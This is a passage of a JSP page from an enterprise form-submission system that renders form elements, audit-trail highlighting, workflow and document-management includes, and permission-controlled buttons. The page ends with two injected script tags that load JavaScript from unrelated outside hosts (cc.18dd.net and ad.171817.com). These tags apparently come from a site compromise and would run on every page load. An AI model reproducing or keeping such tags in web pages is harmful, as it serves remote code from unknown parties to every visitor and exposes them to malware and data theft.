              formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementIDSeqNo(submissionID,pageID,sectionID,elementID,formDataSeqNo,new Integer(request.getParameter("userRecordID")));
            }
          }else if (!Utility.isEmpty(request.getParameter("formDataSeq")) && !"null".equals(request.getParameter("formDataSeq"))){
            formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementIDSeqNo(submissionID,pageID,sectionID,elementID,new Integer(request.getParameter("formDataSeq")),new Integer(request.getParameter("userRecordID")));
            //set color for audit trail
            if ("ListFormAuditTrail".equals(request.getParameter("functionFrom"))){
              int preDataSeq = 0;
              List preFormDataList = new ArrayList();
              preDataSeq = formDataElementDAO.getPreviousElementSeqBySubmissionIDElementIDSeq(
                 submissionID,
                 elementID,
                 new Integer(request.getParameter("formDataSeq")));
               if (preDataSeq>0){
                 preFormDataList = formDataDAO.getDataValueListBySubmissionIDElementIDDataElementSeq(
                      submissionID,
                      elementID,
                      new Integer(preDataSeq));
                 List tmpFormDataList = formDataDAO.getDataValueListBySubmissionIDElementIDDataElementSeq(submissionID,elementID,new Integer(request.getParameter("formDataSeq")));
                 if (preFormDataList.size()==tmpFormDataList.size()){
                   for(int n=0; n<preFormDataList.size(); n++){
                     FormData preFormData = (FormData)preFormDataList.get(n);
                     FormData tmpFormData = (FormData)tmpFormDataList.get(n);
                     if (!tmpFormData.equalsData(preFormData)){
                       isAuditColor = true;
                     }
                   }
                 }else{
                   //isAuditColor = true;
                   for(int n=0; n<preFormDataList.size(); n++){
                     FormData preFormData = (FormData)preFormDataList.get(n);
                     elementValue = preFormData.getDataString();
                   }
                 }
               }else{
                 if (formDataList.size()>0){
                   isAuditColor = true;
                 }else{
                   continue;
                 }
               }
            }
          }
          for (int kk=0;kk<formDataList.size();kk++) {
            FormData formData = (FormData)formDataList.get(kk);
            List tmpAttachmentList = new ArrayList();
            if (kk>0) {
              elementValue += ",";
            }
            elementValue += (!"null".equals(formData.getDataString()) && !Utility.isEmpty(formData.getDataString())) ? formData.getDataString() : "";
            tmpAttachmentList = formFileAttachDAO.getFormFileAttachmentListByFormDataElementID(formData.getDataElementID());
            if (!Utility.isEmpty(tmpAttachmentList)){
              attachmentList.addAll(formFileAttachDAO.getFormFileAttachmentListByFormDataElementID(formData.getDataElementID()));
            }
          }
        } catch (ApplicationException ae) {
          org.apache.commons.logging.LogFactory.getLog("FormDataDAObject").error("getByDataElementID error");
        }
      }
%>

<%
        out.println("<tr><td><table width='100%' border='0' cellpadding='1' cellspacing='1'><tr>");

    if (!hasCheckPermission || !isStepElementDisabled || isShowWholeForm) {
        formSubmissionManager.createElementTD(pageContext,tmpFormElement,formAttach,request,out,elementValue,attachmentList,(AbstractActionForm)maintFormSubmissionForm,pageID,sectionID,hasCheckPermission,isStepElementChange,isStepElementRead,sysFunction,onchangeElementIDStr,isAuditColor, currentFormSubmissionStatus);
      }


       out.println("</tr></table></td></tr>");
    }
%>
                  </table>
<!--  ########################### Element Table End ########################### -->
    <%// }%>
  <!--  ########################### Section Repeat End ########################### -->
  <%}%>
  <!--  ########################### Section Table End ########################### -->

  <!--  ########################### Page Table End ########################### -->
  </span>
<%}%>

                </td>
              </tr>
              <tr>
                <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
              </tr>
            </table> <!--end table for display page,section,element  -->
          </td>
        </tr>
      </table>
  <!-- end table 3 -->
    </td>
  </tr>
</table>
 <!-- end table 2 -->
<%String pdfTaskUrl = (String)request.getAttribute("nextPDFUrl");
   if (!Utility.isEmpty(pdfTaskUrl)) {
   String[] objectIDArr = TextUtility.splitString(pdfTaskUrl, ":");
   FormRecordDAObject formRecordDAO = new FormRecordDAObject(sessionContainer, conn);
   FormRecord curFormRecord = (FormRecord)formRecordDAO.getObjectByID(new Integer(objectIDArr[1]));

%>
<table width="100%" cellpadding="0" cellspacing="2" border="0" >
  <tr>
    <td colspan="2"><a href="#" onclick="javascript:window.open('<%=request.getContextPath()%>/form/GenerateXML.do?navMode=N&formRecordID=<%=curFormRecord.getID()%>&workflowRecordID=<%=new Integer(objectIDArr[2])%>&type=listFormSubmissionDetail&formDocID=<%=curFormRecord.getFormDocID()%>&status=R&step=N&trackID=<%=maintFormSubmissionForm.getTrackID()%>','newwindow', 'location=no,scrollbars=no,menubar=no,status=no,resizable=1,width=800,height=600,left=80,top=80');">
            <html:img src='IconDMSFileExtPDF.gif'  align='absmiddle'/><b> <%=curFormRecord.getFormCode() + " - " + curFormRecord.getTitle() + " (" + curFormRecord.getFormVersion() + ")"%></b></a></td>
  </tr>
</table>
<%}%>

<!-- begin wf+dms+button table -->
<%if (!"ConsolidatedViewFormTracking".equals(request.getParameter("functionFrom"))){ //Begin if Consolidated View in FormTracking, then not display.%>
<table width="100%" cellpadding="0" cellspacing="2" border="0" >
<!-- Begin workflow and dms -->
<%if(!"FORMSETUP".equals(request.getParameter("function"))&&!"FORMEDIT".equals(request.getParameter("function"))&&!"SECTIONEDIT".equals(request.getParameter("function"))&&!"FORMMONITOR".equals(request.getParameter("function")))
{%>
<%
  MtmWorkflowRecordObjectLinkDAObject mtmWfRecordObjectDAO = new MtmWorkflowRecordObjectLinkDAObject(sessionContainer,conn);
  List mtmWfRecordObjectList = mtmWfRecordObjectDAO.getListByObjectTypeObjectID(GlobalConstant.OBJECT_TYPE_FORM,new Integer(maintFormSubmissionForm.getFormRecordID()) );
  if (!Utility.isEmpty(mtmWfRecordObjectList)) {
  pageContext.setAttribute("sysWorkflowCategoryID", com.dcivision.workflow.core.SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM);
  }else {
  pageContext.setAttribute("sysWorkflowCategoryID", com.dcivision.workflow.core.SystemWorkflowConstant.FMB_SUBMISSION_BY_GROUP);
  }
  pageContext.setAttribute("sysWorkflowCategoryID", com.dcivision.workflow.core.SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM);
%>

<!-- check if exist workflow for this form  -->
<%
  if (!Utility.isEmpty(workflowRecordID)) {
   submissionStatus = FormSubmission.FORM_SUBMISSION_STATU_SUBMIT;
   haveWorkflow = true;
  }
%>
  <html:hidden property='trackID'/>
<%
  if (SystemFunctionConstant.FORM_SUBMISSION.equals(sCurFunctionCode)) {%>
    <%@include file="../workflow/IncludeWorkflowPage.jsp"%>
 <%}%>

<!--save file to DMS -->
<% if (!isWorkflowProcess ){
     if ( sysFunction!=null && GlobalConstant.STATUS_ACTIVE.equals(sysFunction.getStatus()) ){%>
     <%@include file="IncludeDMSPage.jsp"%>
     <%}%>
  <%}%>
<%}%>
<!-- End workflow and dms -->

<%if (Utility.isEmpty(request.getParameter("hideTitle")) && !"FORMMONITOR".equals(request.getParameter("function"))){ //in EditWorkflowTask.jsp then hide the title.%>
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
<%}%>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>

  </td></tr></table>
  <%}// End if Consolidated View in FormTracking, then not display.%>
  <!--===================================end wf + dms + button table===============================-->
  </td>
  </tr>
  </table>
  <!-- end table 1 -->
  </div>
  </layout:tabContainer>

 <div id="bottomButtonArea">
 <div id="buttonSection">
<%if (!"ConsolidatedViewFormTracking".equals(request.getParameter("functionFrom"))){ //Begin if Consolidated View in FormTracking, then not display.%>

 <%if (!"Y".equals(request.getParameter("hideTitle"))){ //in EditWorkflowTask.jsp then hide all button. %>

    <%if( !"T".equals(request.getParameter("preview")) && !GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) ){  //&& (hasChageElement || !hasCheckPermission) %>
      <%if ("false".equals(isSubmission)){ %>
      <logic:permission right="I">
        <html:standardButton label="common.label.save" onClick="return OpStepSave()"/>
        </logic:permission>
        <%if (!"Y".equals(request.getParameter("hideTitle"))){%>
          <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
        <%}%>
      <%}else{%>
        <%if (!"FORMMONITOR".equals(request.getParameter("function"))){%>
          <%if (!haveWorkflow) {%>
          <logic:permission right="I">
           <html:permissionButton label="form.label.save_draft" right="E" onClick="return OpCustSave('FALSE','${maintFormSubmissionForm.navMode}');"/>
           <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
           <html:standardButton label="form.label.save_draft" disable="true"/>
          </logic:permission>
          <%}else{//If the Form band with workflow,ignore the permission of form or workflow for new bussiness request_TC
      %>
          <logic:equal scope="request" value="true" name="ALLOW_EXECUTE">
            <html:standardButton label="form.label.save_draft" onClick="return OpCustSave('TRUE','${maintFormSubmissionForm.navMode}');"/>
          </logic:equal>
          <logic:equal scope="request" value="false" name="ALLOW_EXECUTE">
            <html:standardButton label="form.label.save_draft" disable="true"/>
          </logic:equal>
          <%}%>
      <% if(!Utility.isEmpty(request.getAttribute("formGroupID"))){
         Integer currentFormGroupID1 = new Integer((String)request.getAttribute("formGroupID"));
         if(!haveWorkflow){
       %>
      <logic:permission right="I">
      <% String actionString = "return OpCustSubmit('"+submissionStatus+"','${maintFormSubmissionForm.navMode}');" ; %>
        <html:permissionButton label="common.label.submit" right="F" objectType="M" objectID="<%=currentFormGroupID1%>" onClick='<%=actionString%>'/>
        <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
        <html:standardButton label="common.label.submit" disable="true"/>
      </logic:permission>
     <%}else{//If the Form band with workflow,ignore the permission of form or workflow for new bussiness request_TC
       %>
        <logic:equal scope="request" value="true" name="ALLOW_EXECUTE">
        <%String clickString = "return OpCustSubmit('"+submissionStatus+"','${maintFormSubmissionForm.navMode}');"; %>
          <html:standardButton label="common.label.submit" onClick='<%=clickString%>'/>
        </logic:equal>
        <logic:equal scope="request" value="false" name="ALLOW_EXECUTE">
          <html:standardButton label="common.label.submit" disable="true"/>
        </logic:equal>
     <%}}%>
        <%}else{%>
        <logic:permission right="I">
          <html:standardButton label="common.label.save" onClick="return OpStepSave('true')"/>
          <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
          <html:standardButton label="common.label.save" disable="true"/>
        </logic:permission>
        <%}%>
      <%}%>
    <%}else if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {%>
      <%if ( request.getParameter("isWorkflowViewFlag") != null && request.getParameter("isWorkflowViewFlag").equals("Y") ){%>
        <%if (!"Y".equals(request.getParameter("hideTitle")) && GlobalConstant.NAV_MODE_EDIT.equals(request.getParameter("wfNavMode")) ){%>
          <%String SHOW_HEADER_FOOTER = (!Utility.isEmpty(request.getParameter("isShowHeader")) && "Y".equals(request.getParameter("isShowHeader"))) ? "Y" : "N";%>
          <html:standardButton label="common.label.close" onClick="javascript:window.opener.document.iframeName.location.reload();window.close();"/>
        <%}else if (!"Y".equals(request.getParameter("hideTitle")) ){%>
          <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
        <%}%>
      <%}else if (("FORMTRACKING".equals(request.getParameter("function")) ||
            "FORMMONITOR".equals(request.getParameter("function")) ||
            ("FORMSUBMISSION".equals(request.getParameter("function")) && (FormSubmission.FORM_SUBMISSION_STATU_COMPLETED.equals(maintFormSubmissionForm.getStatus()) || FormSubmission.FORM_SUBMISSION_STATU_SAVED.equals(maintFormSubmissionForm.getStatus()))&& (Utility.isEmpty(request.getParameter("workflowRecordID")) ||"null".equals(request.getParameter("workflowRecordID")))))
            &&!GlobalConstant.OP_MODE_DELETE.equals(maintFormSubmissionForm.getOpMode()) ) {
            if (Utility.isEmpty(maintFormSubmissionForm.getWorkflowRecordID()) || "null".equals(maintFormSubmissionForm.getWorkflowRecordID()) ){
            %>
             <html:permissionButton label="common.label.delete" right="D" onClick="return OpDelete()"/>
          <%}%>
      <%}%>
      <%if (("FORMSUBMISSION".equals(request.getParameter("function")) ) && !Utility.isEmpty(maintFormSubmissionForm.getOpMode()) && !"null".equals(maintFormSubmissionForm.getOpMode()) && !GlobalConstant.OP_MODE_DELETE.equals(maintFormSubmissionForm.getOpMode())){%>
       <logic:permission right='E'>
         <logic:equal name='maintFormSubmissionForm' property='status' value='<%=FormSubmission.FORM_SUBMISSION_STATU_SAVED%>'>
           <html:standardButton label="common.label.edit" link="MaintFormSubmission.do?navMode=E&formRecordID=${maintFormSubmissionForm.formRecordID}&formSubmissionID=${maintFormSubmissionForm.ID}&function=${param.function}&functionFrom=${param.functionFrom}&workflowRecordID=${maintFormSubmissionForm.workflowRecordID}&trackID=${maintFormSubmissionForm.trackID}"/>
         </logic:equal>
         <html:standardButton label="common.label.edit" disable="true"/>
       </logic:permission>
       <%if ( !Utility.isEmpty(request.getAttribute("saveDrafMessage")) ) {%>
          <html:standardButton label="form.label.draft_list" link="ListFormSubmissionDetail.do?navMode=L&formRecordID=${formRecord.ID}&function=ListFormSubmission&workflowRecordID=${maintFormSubmissionForm.workflowRecordID}"/>
       <%}%>
     <%}%>
   <%}%>
     <%if ("DMS".equals(request.getParameter("function")) || "N".equals(request.getParameter("SHOW_HEADER_FOOTER"))){%>
       <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
     <%}%>
<%} //end hide button%>

<%
 if ("R".equals(formRecord.getStatus()) && ("FORMSETUP".equals(request.getParameter("function")) || "FORMEDIT".equals(request.getParameter("function")))) {%>
  <!-- //sliever.hu.udpate for bug 5471 -->
  <logic:permission right="E">
    <logic:permission right="E" objectType="M" objectID="<%=formRecord.getFormGroupID()%>">
      <html:standardButton label="form.label.html_import" link='<%="MaintFormElement.do?navMode=I&functionMode=formV&formRecordID=${param.formRecordID}&function=${param.function}&formPageID="+pageID+"&formSubmissionHtml=N"%>'/>
      <html:standardButton label="form.label.html_export" link='<%="MaintFormPage.do?navMode=E&preview=E&formPageNo="+formPageNo+"&formRecordID=${param.formRecordID}&SHOW_HEADER_FOOTER=N"%>' target="_blank"/>
    <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
    </logic:permission>
    <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
  </logic:permission>

<%}%>

 <%}// End if Consolidated View in FormTracking, then not display.%>
</div>
</div>

<input type=hidden name="allSectionIDStr" value="<%=allSectionIDStr%>">
<script language='javascript'>
<!--
<%
String[] showPageIDArray = TextUtility.splitString(allPageIDStr,",");
if (!Utility.isEmpty(showPageIDArray) && !"null".equals(showPageIDArray) && showPageIDArray.length>=1){%>
  showFormTab(<%=showPageIDArray[0]%>);
<%}%>
-->
</script>

</html:form>
<%}catch(Exception e){
  LogFactory.getLog(this.getClass()).error(e, e);
  }%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>